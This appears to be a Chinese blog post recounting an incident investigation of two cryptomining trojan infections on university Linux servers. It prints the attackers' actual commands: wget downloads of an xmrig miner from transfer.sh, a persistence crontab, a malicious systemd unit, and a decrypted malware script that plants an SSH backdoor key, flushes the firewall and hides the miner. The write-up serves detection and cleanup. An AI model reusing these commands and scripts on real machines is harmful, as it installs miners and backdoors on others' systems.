实战|记两起挖矿木马排查

VSole2023-03-24 10:31:42

溯源 fdl 的机器

2021年5月17日下午,发现有人爆破我服务器的口令。

查了下是 fdl 的,联系他询问情况。

登录上去看到有个用户 127.0.0.1登录的,一看就知道是映射到公网被人登录了

确认该账号无人使用

修改密码然后踢出用户

CPU挖矿

killall xmrig一键停止挖矿程序

找到挖矿程序本体

/var/tmp/路径下有疑似扫描的程序

查看 lpz用户启动的程序

lpz       9845     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      10361     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      10628     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      11418     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      12349     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13160     1  0 5月15 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13462     1  0 16:10 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      13633     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig

找到 bios.txt

内容如下

查看建立的ssh,发现正在爆破口令

停止该用户的所有对外发起的爆破攻击

祭出很久以前写的一个非常弱鸡的检查程序

查看成功登录的记录,记录文件缺失不少,可能是攻击者手抖删了的

目录里面翻了翻,找到了爆破成功的口令

开机自启动爆破ssh的程序

/var/spool/cron/crontabs/lpz 文件内容,注释所有内容

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May  3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black  > /dev/null 2>&1 & disown

问题不大,程序起不来了,保留现场,留给 fdl 了,我就溜了。

然后似乎应该联系一下受害者,于是在某个群里说了下受害者IP :)

出现受害者,着实太惨了

事情告一段落,简单记录了下流程,fdl 建议放到内网,让其他人排查的时候多一点思路,于是我放到内网了,不过似乎打点马赛克还可以水一篇我自己的博客(笑

简单的对抗

曾大佬的同学服务器中毒,遇到挖矿木马。

昨天他们搞了快一天还没搞定,我昨天下午给他说让他们把ssh口令拿来,结果曾大佬十分羞涩(笑),一直没有要口令,今早来的时候看到曾大佬还在帮对面分析。

不过,我昨天晚饭的时候刚溯源了一台机器(前面 fdl 的那台),我问到了曾大佬他们的IP地址,再去昨天溯源的机器里面拖下来的文件对比,找到了他们服务器的密码 :)

试了下,发现他们已经把密码改了 :(

然后10:30的时候,曾大佬终于问到了密码,又是一个不太弱的弱口令,还好,查了下没有在rockyou.txt里面。

登上去一看,好家伙,我昨天溯源的那台机器把这台爆破成功了,还反复登录了好多次。来了两波挖矿的攻击者,大胆想象第二波把第一波攻击者的挖矿木马停了运行自己的,然后第一波回来了又把程序改回来了,结果没想到第二波做了对抗,第一波被迫和第二波共享CPU,果然挖矿的最大敌人是服务器上其他挖矿的人。(希望不是披着挖矿外衣的APT攻击)

mail列表可以看到提示 /usr/bin/sa/sa1文件不存在,是因为前面的排查的同学已经把这个恶意路径重命名了,程序启动不了。那就搜索哪里出现了这个可疑路径。

使用strings命令在所有文本和二进制文件中查找这个字符串。

find -print0|xargs -0  strings |grep "/usr/lib64/sa"

搜索了之后找到文件,初步分析此文件和生成的恶意程序 /usr/bin/ 没有直接关系,线索暂时中断。

ps -ef 可以看到启动了一个进程 /usr/bin/随机字符串,发送kill -9之后立刻重新启动,启动之后这个程序会删除本身,以达到隐藏自己的目的。父进程pid1,可以知道是systemd启动的恶意进程。

楼上大佬写了脚本无限循环kill掉这个

继续寻找到底谁在搞事。

  1. 通过父进程pid1我们可以推测程序利用了 systemd重启恶意程序。
  2. 通过程序无限重启我们可以推测service的配置文件里面写了Restart=always这个重启策略。

于是挨个去排查 /etc/systemd/里面注册的 Restart=always的配置文件。找了半天实在眼花,也用了正常工作的CentOSsystemd服务和此服务器的做对比,区别挺大,没有找到明显异常,此路不通。:)

查看下启动的 service,还是眼花。此路不通。

systemctl list-unit-files|grep enabled

又生一计,给他发个 SEGV让他异常退出,看看有没有coredump,从coredump分析。因为似乎并没有配置coredump的策略,不过也不是不能用,限于较懒+不是我的服务器,不能乱搞。程序异常退出后,在 /var/spool/abrt可以看到正在保存过程中的 coredump文件,等他dump完成之后会移动到其他地方,拼个手速赶在系统删掉他之前把他复制一份。

发SEGV让程序停下来,保存coredump现场

查看 environ可以看到里面有该文件的路径 /usr/bin/ab06174bf1和另一个路径 /usr/sbin/route_forbidden-close

早知道看 environ的话我为啥还要费力的给他发SEGV让他段错误,直接去/proc/翻就行了55555 :)

过滤该文件内的字符串,可以看到 upx 字样,正常程序肯定不会用upx的。可能这也是逃过我们刚刚的find+strings组合的原因了。

然后把文件拖下来,本机upx脱壳看看

好的,就是upx的了,送给曾大佬分析一波。

网上搜一下这个文件名字符串,可以看到有且仅有三条结果,内容一样

点进去一看,好家伙,症状完全一致

https://blog.csdn.net/qq_36270681/article/details/115366550

而后直接找到了

cat /usr/lib/systemd/system/pmapx_start_2.service

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details
[Unit]
Description=System function loader.
[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close
[Install]
WantedBy=multi-user.target

这家伙隐藏的挺好,要不是你用upx加壳,我可能还真找不到你了 :)

找到凶手后,禁言套餐小黑屋套餐送上

systemctl disable pmapx_start_2
systemctl stop pmapx_start_2

世界瞬间安静下来。

再看看ps -ef|grep /usr/bin,没有异常的那个进程了,CPU负载也降到0了。

收工。

曾大佬过来问我怎么找到这个 upx 加壳的文件的,想了想我感觉可以水一篇博客,帮助大家分析这个做了一点点对抗的挖矿木马。毕竟这个样本似乎刚出来不久,网上没找到太多的资料。可能有关联词的部分我截图加文本形式写到正文里面了, 做个 SEO 让搜索引擎索引一下。

分析恶意文件

不愧是 NESE 的大佬,曾大佬分分钟把恶意文件逆了。

这其实是个shc加密的shell脚本,可以解密,IDA里面也能直接看到 shell 的源码。曾大佬说他还写了个公钥进去,我们赶紧登录上去,果然,公钥就在那里,仿佛在嘲笑我们百密99疏,这么明显的东西没有去关注他。其实也不一定容易发现这个有问题,这台电脑很多个人在用,可能会以为是其他同学写的。

对比一下字符串,和解密出来的shell里面内容一样,立刻干掉他。我回到我的工位准备上去耍耍,事情变得有趣起来了。

曾大佬叫我说这个文件怎么改不了,我过去一看, :w 不能保存,:w! 也不行,看起来像是用了chattr添加了只读属性。

退出来一看,还真是。

好家伙,还留了一手。

问题不大,我是root啊,一波 chattr -i去掉只读,然后覆盖掉里面的内容,问题解决。当时解决这个问题的时候还没有仔细分析 shell 脚本,看到写了公钥就直接去服务器了,往后面的shell脚本里面是能看到具体的地方的。

一个问题解决了,回来继续分析 shell代码。

解密之后代码如下

#!/bin/bash### Functii / Variabile ###random_name="$(openssl rand -hex 5)"locatie_miner_default="/usr/sbin/rmt_remount-open"locatie_pid="/usr/local/share/.logfile"sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"########################################################if [ -f /usr/sbin/lib23fr ]; then static=/usr/sbin/lib23frelse static=cp fi if [ -f /usr/sbin/chattr_bakv2 ]; then static2=/usr/sbin/chattr_bakv2else static2=chattrfi if [ -f /usr/sbin/lodosir ]; then static3=/usr/sbin/lodosirelse static3=rm fi########################################################permisiuni_logs(){
	$static2 -i -a -j -t -d -u /usr	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr/local	$static2 -i -a -j -t -d -u /usr/local/share	$static2 -i -a -j -t -d -u $locatie_pid
	chmod +x $locatie_pid}######sshkeyset() {
	if [ $(id -u) = 0 ]; then if [ -f "/root/.ssh/authorized_keys" ]; then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
				$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				:			fi else if [ -d "/root/.ssh" ]; then
				$static2 -i -a -j -t -d -u /root/.ssh				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				$static2 -i -a -j -t -d -u /root				mkdir "/root/.ssh" 
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			fi fi fi}######scoatem_ports(){
	iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf}######kulkat() {
	if [ -f /usr/bin/config.json ]; then
		$static2 -i -a -j -t -d -u /usr/bin/config.json		rm -rf /usr/bin/config.json	fi}######functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}######### End of Functii / Varibile ##### aici incepe tot codu cicapermisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on

代码对抗的意图很明显,写了个公钥覆盖掉已有的 authorized_key,然后chattr设定只读。

他还有个 /usr/sbin/chattr_bakv2 ,推测攻击者在某些地方会把系统原有的 chattr换个名字,让管理员上去排查的时候没有chattr可用,好家伙,直呼内行。

/usr/sbin/rmt_remount-open 就是挖矿程序的本体了,先把挖矿程序复制到 /usr/bin/$random_name,然后启动挖矿程序,删除掉挖矿程序。由于shell脚本本身是 systemd启动的,我们停止了挖矿程序后 systemd又会执行一遍这个脚本,陷入无尽的循环。

functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}

但是又有一个问题,systemd关心的是这个 shell脚本的状态,shell脚本执行了 /usr/bin/$random_name > /dev/null 2>&1 & disown就跑路了,disown参数把这个进程从 jobs中移除了,即使退出了shell也不会影响他执行。那么,我们给 /usr/bin/$random_name发送了 kill -9之后,他的脚本如何发现这个进程已经退出了然后重新启动的呢?我们发送 kill -i不会影响这个shell脚本的执行的。

后记

  1. 两天时间溯源两台机器,甚至有点好玩,无聊的研究生活里面的一点乐趣了(打乒乓球、羽毛球、恰火锅也很快乐) :)
  2. 溯源的时候千万不要把攻击者钱包的地址改成自己的然后就不管了,这样攻击者的程序会自动在内网扩散然后上千个CPU帮你挖 xmr ,还有可能吃国家饭 :)
  3. 不要把 ssh 映射到公网了,虽然你的口令可能比较强,但是其他用户可能是弱口令
  4. 不要用弱口令, root:123456这类口令基本是白给的
  5. 不只是 ssh 容易被攻击, redis 未授权,java框架的各种反序列化分分钟 getshell
  6. 挖矿木马已经是极其文明讲理的木马了,如果对方是勒索软件、APT攻击者,那么后果就严重了 :)
  7. 建议攻击者下次还是劫持 getdents 这类系统调用来隐藏自己,直接删除自己这个技术含量不太高,PS一下子就看到了
  8. fa les duo ma laki
randomkeys
本作品采用《CC 协议》,转载必须注明作者和本文链接
所以在最坏的安全假设下,噪声成为降低攻击效率的主要条件。GE表示正确密钥的位置排名。每条能量迹有25万个样本点,对其中1400个特征点进行分析。汉明重量泄露模型下特征点数量和PI的关系在高信噪比的情况下,神经网络显示出优于高斯模板攻击的性能。图中显示了每个单独的密钥字节达到猜测熵为1 时所需的攻击轨迹数。
uds诊断协议-逆向题 WP
2022-08-14 16:17:02
介绍这是一道uds诊断协议的逆向题。比赛的时候时间太短没做出来,又花时间研究了一下拿出来分享。UdsRoutineControlService这个函数从getflag这看起来就像目标函数,要求的条件很多。
影响版本:Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修补。高危,可导致远程提权,评分9.8。 默认不加载,需用户配置。
WAF指纹识别工具
2022-04-11 06:18:47
原理发送正常的 HTTP 请求并分析响应;这确定了许多 WAF 解决方案。如果不成功,则发送多个HTTP 请求,并使用简单的逻辑来示例就是WAF。
发送正常的 HTTP 请求并分析响应;这确定了许多 WAF 解决方案
漏洞复现利用脚本检测是否存在漏洞并生成相对应的 cookie访问主页抓取数据包将生成的 session 替换原本的 session成功登录接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。漏洞分析感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥SECRET_KEYS?
利用 CVE-2021-42278 和 CVE-2021-42287 从标准域用户模拟 DA,该项目修改自?0x01 用法SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain. positional arguments: [domain/]username[:password] Account used to authenticate to DC.CreateChild. -dump Dump Hashs via secretsdump -use-ldap Use LDAP instead of LDAPS. authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH??
协议分析实战
2022-08-18 16:56:24
协议分析是逆向技术中的一个重要技能,本篇文章先分享3个app。这里我打算搜索post请求中的v2/member,和"system_name"。然后看这个device_id就是表示手机的串号:是这样声明的:就是返回手机的型号,没有什么好说的。然后下一个就是本机IP地址,还有时间timestamp,siteid站点标识符定值10001,系统名称system_name,型号type是Android的。这样的话第一个app的协议字段到此就分析完了。第二个app:我输入的用户名是kanxue,密码是kanxue123。
本文主要介绍在使用阿里云 Redis 的开发规范,从下面几个方面进行说明。键值设计命令使用客户端使用相关工具通过本文的介绍可以减少使用 Redis 过程带来的问题。不要包含特殊字符反例:包含空格、换行、单双引号以及其他转义字符2、value 设计拒绝 bigkey防止网卡流量、慢查询,string 类型控制在 10KB 以内,hash、list、set、zset 元素个数不要超过 5000。
VSole
网络安全专家